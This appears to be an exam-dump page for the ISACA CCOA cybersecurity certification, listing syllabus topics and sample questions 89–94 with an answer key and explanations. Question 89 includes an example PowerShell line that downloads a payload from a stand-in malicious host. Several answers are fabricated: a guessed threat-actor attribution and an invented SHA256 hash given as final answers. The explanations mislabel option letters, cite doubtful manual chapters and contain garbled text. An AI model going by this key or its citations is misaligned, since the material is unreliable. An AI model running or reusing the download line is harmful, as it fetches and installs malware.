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【General】 New CCOA Exam Testking | CCOA Authorized Certification

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ISACA CCOA Exam Syllabus Topics:
TopicDetails
Topic 1
  • Technology Essentials: This section of the exam measures skills of a Cybersecurity Specialist and covers the foundational technologies and principles that form the backbone of cybersecurity. It includes topics like hardware and software configurations, network protocols, cloud infrastructure, and essential tools. The focus is on understanding the technical landscape and how these elements interconnect to ensure secure operations.
Topic 2
  • Securing Assets: This section of the exam measures skills of a Cybersecurity Specialist and covers the methods and strategies used to secure organizational assets. It includes topics like endpoint security, data protection, encryption techniques, and securing network infrastructure. The goal is to ensure that sensitive information and resources are properly protected from external and internal threats.
Topic 3
  • Incident Detection and Response: This section of the exam measures the skills of a Cybersecurity Analyst and focuses on detecting security incidents and responding appropriately. It includes understanding security monitoring tools, analyzing logs, and identifying indicators of compromise. The section emphasizes how to react to security breaches quickly and efficiently to minimize damage and restore operations.
Topic 4
  • Adversarial Tactics, Techniques, and Procedures: This section of the exam measures the skills of a Cybersecurity Analyst and covers the tactics, techniques, and procedures used by adversaries to compromise systems. It includes identifying methods of attack, such as phishing, malware, and social engineering, and understanding how these techniques can be detected and thwarted.
Topic 5
  • Cybersecurity Principles and Risk: This section of the exam measures the skills of a Cybersecurity Specialist and covers core cybersecurity principles and risk management strategies. It includes assessing vulnerabilities, threat analysis, and understanding regulatory compliance frameworks. The section emphasizes evaluating risks and applying appropriate measures to mitigate potential threats to organizational assets.

ISACA Certified Cybersecurity Operations Analyst Sample Questions (Q89-Q94):NEW QUESTION # 89
On the Analyst Desktop is a Malware Samples folderwith a file titled Malscript.viruz.txt.
Based on the contents of the malscript.viruz.txt, whichthreat actor group is the malware associated with?
Answer:
Explanation:
See the solution in Explanation.
Explanation:
To identify thethreat actor groupassociated with themalscript.viruz.txtfile, follow these steps:
Step 1: Access the Analyst Desktop
* Log into the Analyst Desktopusing your credentials.
* Locate theMalware Samplesfolder on the desktop.
* Inside the folder, find the file:
malscript.viruz.txt
Step 2: Examine the File
* Open the file using a text editor:
* OnWindows:Right-click > Open with > Notepad.
* OnLinux:
cat ~/Desktop/Malware Samples/malscript.viruz.txt
* Carefully read through the file content to identify:
* Anystrings or commentsembedded within the script.
* Specifickeywords,URLs, orfile hashes.
* Anycommand and control (C2)server addresses or domain names.
Step 3: Analyze the Contents
* Focus on:
* Unique Identifiers:Threat group names, malware family names, or specific markers.
* Indicators of Compromise (IOCs):URLs, IP addresses, or domain names.
* Code Patterns:Specific obfuscation techniques or script styles linked to known threat groups.
Example Content:
# Malware Script Sample
# Payload linked to TA505 group
Invoke-WebRequest
-Uri "http://malicious.example.com/payload" -OutFile "C:UsersPublicmalware.exe" Step 4: Correlate with Threat Intelligence
* Use the following resources to correlate any discovered indicators:
* MITRE ATT&CK:To map the technique or tool.
* VirusTotal:To check file hashes or URLs.
* Threat Intelligence Feeds:Such asAlienVault OTXorThreatMiner.
* If the script contains encoded or obfuscated strings, decode them using:
powershell
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SGVsbG8gd29ybGQ=")) Step 5: Identify the Threat Actor Group
* If the script includes names, tags, or artifacts commonly associated with a specific group, take note.
* Match any C2 domains or IPs with known threat actor profiles.
Common Associations:
* TA505:Known for distributing banking Trojans and ransomware via malicious scripts.
* APT28 (Fancy Bear):Uses PowerShell-based malware and data exfiltration scripts.
* Lazarus Group:Often embeds unique strings and comments related to espionage operations.
Step 6: Example Finding
Based on the contents and C2 indicators found withinmalscript.viruz.txt, it may contain specific references or techniques that are typical of theTA505group.
Final Answer:
csharp
The malware in the malscript.viruz.txt file is associated with the TA505 threat actor group.
Step 7: Report and Document
* Include the following details:
* Filename:malscript.viruz.txt
* Associated Threat Group:TA505
* Key Indicatorsomain names, script functions, or specific malware traits.
* Generate an incident report summarizing your analysis.
Step 8: Next Steps
* Quarantine and Isolate:If the script was executed, isolate the affected system.
* Forensic Analysiseep dive into system logs for any signs of execution.
* Threat Hunting:Search for similar scripts or IOCs in the network.

NEW QUESTION # 90
Which of the following is a PRIMARY risk that can be introduced through the use of a site-to-site virtual private network (VPN) with a service provider?
  • A. Denial of service (DoS) attacks
  • B. Loss of data integrity
  • C. Data exfiltration
  • D. Gaps in visibility to user behavior
Answer: D
Explanation:
Site-to-site VPNs establish secure, encrypted connections between two networks over the internet, typically used to link corporate networks with remote sites or a service provider's network. However, while these VPNs secure data transmission, they introduce specific risks.
Theprimary riskassociated with a site-to-site VPN with a service provider is theloss of visibility into user behavior. Here's why:
* Limited Monitoring:Since the traffic is encrypted and routed through the VPN tunnel, the organization may lose visibility over user activities within the service provider's network.
* Blind Spots in Traffic Analysis:Security monitoring tools (like IDS/IPS) that rely on inspecting unencrypted data may be ineffective once data enters the VPN tunnel.
* User Behavior Analytics (UBA) Issues:It becomes challenging to track insider threats or compromised accounts due to the encapsulation and encryption of network traffic.
* Vendor Dependency:The organization might depend on the service provider's security measures to detect malicious activity, which may not align with the organization's security standards.
Other options analysis:
* A. Loss of data integrity:VPNs generally ensure data integrity using protocols like IPsec, which validates packet integrity.
* C. Data exfiltration:While data exfiltration can occur, it is typically a consequence of compromised credentials or insider threats, not a direct result of VPN usage.
* D. Denial of service (DoS) attacks:While VPN endpoints can be targeted in a DoS attack, it is not the primaryrisk specific to VPN use with a service provider.
CCOA Official Review Manual, 1st Edition References:
* Chapter 4: Network Security Operationsiscusses risks related to VPNs, including reduced visibility.
* Chapter 7: Security Monitoring and Incident Detection:Highlights the importance of maintaining visibility even when using encrypted connections.
* Chapter 8: Incident Response and Recovery:Addresses challenges related to VPN monitoring during incidents.

NEW QUESTION # 91
A bank employee is found to beexfiltrationsensitive information by uploading it via email. Which of the following security measures would be MOST effective in detecting this type of insider threat?
  • A. Network segmentation
  • B. Intrusion detection system (IDS)
  • C. Security information and event management (SIEM)
  • D. Data loss prevention (DIP)
Answer: D
Explanation:
Data Loss Prevention (DLP) systems are specifically designed to detect and prevent unauthorized data transfers. In the context of an insider threat, where a bank employee attempts toexfiltrate sensitive information via email, DLP solutions are most effective because they:
* Monitor Data in MotionLP can inspect outgoing emails for sensitive content based on pre-defined rules and policies.
* Content Inspection and Filtering:It examines email attachments and the body of the message for patterns that match sensitive data (like financial records or PII).
* Real-Time Alerts:Generates alerts or blocks the transfer when sensitive data is detected.
* Granular Policies:Allows customization to restrict specific types of data transfers, including via email.
Other options analysis:
* B. Intrusion detection system (IDS):IDS monitors network traffic for signs of compromise but is not designed to inspect email content or detect data exfiltration specifically.
* C. Network segmentation:Reduces the risk of lateral movement but does not directly monitor or prevent data exfiltration through email.
* D. Security information and event management (SIEM):SIEM can correlate events and detect anomalies but lacks the real-time data inspection that DLP offers.
CCOA Official Review Manual, 1st Edition References:
* Chapter 5: Insider Threats and Mitigationiscusses how DLP tools are essential for detecting data exfiltration.
* Chapter 6: Threat Intelligence and Analysis:Covers data loss scenarios and the role of DLP.
* Chapter 8: Incident Detection and Response:Explains the use of DLP for detecting insider threats.

NEW QUESTION # 92
The user of the Accounting workstation reported thattheir calculator repeatedly opens without their input.
The following credentials are used for thisquestion.
Username:Accounting
Password:1x-4cc0unt1NG-x1
Using the provided credentials, SSH to the Accountingworkstation and generate a SHA256 checksum of the filethat triggered RuleName Suspicious PowerShell usingeither certutil or Get-FileHash of the file causing theissue. Copy the hash and paste it below.
Answer:
Explanation:
See the solution in Explanation.
Explanation:
To generate theSHA256 checksumof the file that triggeredRuleName: Suspicious PowerShellon the Accounting workstation, follow these detailed steps:
Step 1: Establish an SSH Connection
* Open a terminal on your system.
* Use the provided credentials to connect to theAccounting workstation:
ssh Accounting@<Accounting_PC_IP>
* Replace <Accounting_PC_IP> with the actual IP address of the workstation.
* Enter the password when prompted:
1x-4cc0unt1NG-x1
Step 2: Locate the Malicious File
* Navigate to the typical directory where suspicious scripts are stored:
cd C:UsersAccountingAppDataRoaming
* List the contents to identify the suspicious file:
dir
* Look for a file related toPowerShell(e.g., calc.ps1), as the issue involved thecalculator opening repeatedly.
Step 3: Verify the Malicious File
* To ensure it is the problematic file, check for recent modifications:
powershell
Get-ChildItem -Path "C:UsersAccountingAppDataRoaming" -Recurse | Where-Object { $_.LastWriteTime
-ge (Get-Date).AddDays(-1) }
* This will list files modified within the last 24 hours.
* Check file properties:
powershell
Get-Item "C:UsersAccountingAppDataRoamingcalc.ps1" | Format-List *
* Confirm it matches the file flagged byRuleName: Suspicious PowerShell.
Step 4: Generate the SHA256 Checksum
Method 1: Using PowerShell (Recommended)
* Run the following command to generate the hash:
powershell
Get-FileHash "C:UsersAccountingAppDataRoamingcalc.ps1" -Algorithm SHA256
* Output Example:
mathematica
Algorithm Hash Path
--------- ---- ----
SHA256 d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d C:
UsersAccountingAppDataRoamingcalc.ps1
Method 2: Using certutil (Alternative)
* Run the following command:
cmd
certutil -hashfile "C:UsersAccountingAppDataRoamingcalc.ps1" SHA256
* Example Output:
SHA256 hash of calc.ps1:
d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d
CertUtil: -hashfile command completed successfully.
Step 5: Copy and Paste the Hash
* Copy theSHA256 hashfrom the output and paste it as required.
Final Answer:
nginx
d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d
Step 6: Immediate Actions
* Terminate the Malicious Process:
powershell
Stop-Process -Name "powershell" -Force
* Delete the Malicious File:
powershell
Remove-Item "C:UsersAccountingAppDataRoamingcalc.ps1" -Force
* Disable Startup Entry:
* Check for any persistent scripts:
powershell
Get-ItemProperty -Path "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
* Remove any entries related to calc.ps1.
Step 7: Document the Incident
* Record the following:
* Filename:calc.ps1
* File Path:C:UsersAccountingAppDataRoaming
* SHA256 Hash:d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d
* Date of DetectionToday's date)

NEW QUESTION # 93
Most of the operational responsibility remains with the customerin which of the following cloudservice models?
  • A. Infrastructure as a Service (laaS)
  • B. Software as a Service (SaaS)
  • C. Platform as a Service (PaaS)
  • D. Data Platform as a Service (DPaaS)
Answer: A
Explanation:
In theIaaS (Infrastructure as a Service)model, the majority of operational responsibilities remain with the customer.
* Customer Responsibilities:OS management, application updates, security configuration, data protection, and network controls.
* Provider Responsibilities:Hardware maintenance, virtualization, and network infrastructure.
* Flexibility:Customers have significant control over the operating environment, making them responsible for most security measures.
Incorrect Options:
* A. Data Platform as a Service (DPaaS):Managed data services where the provider handles database infrastructure.
* B. Software as a Service (SaaS)rovider manages almost all operational aspects.
* C. Platform as a Service (PaaS)rovider manages the platform; customers focus on application management.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 3, Section "Cloud Service Models," Subsection "IaaS Responsibilities" - IaaS requires customers to manage most operational aspects, unlike PaaS or SaaS.

NEW QUESTION # 94
......
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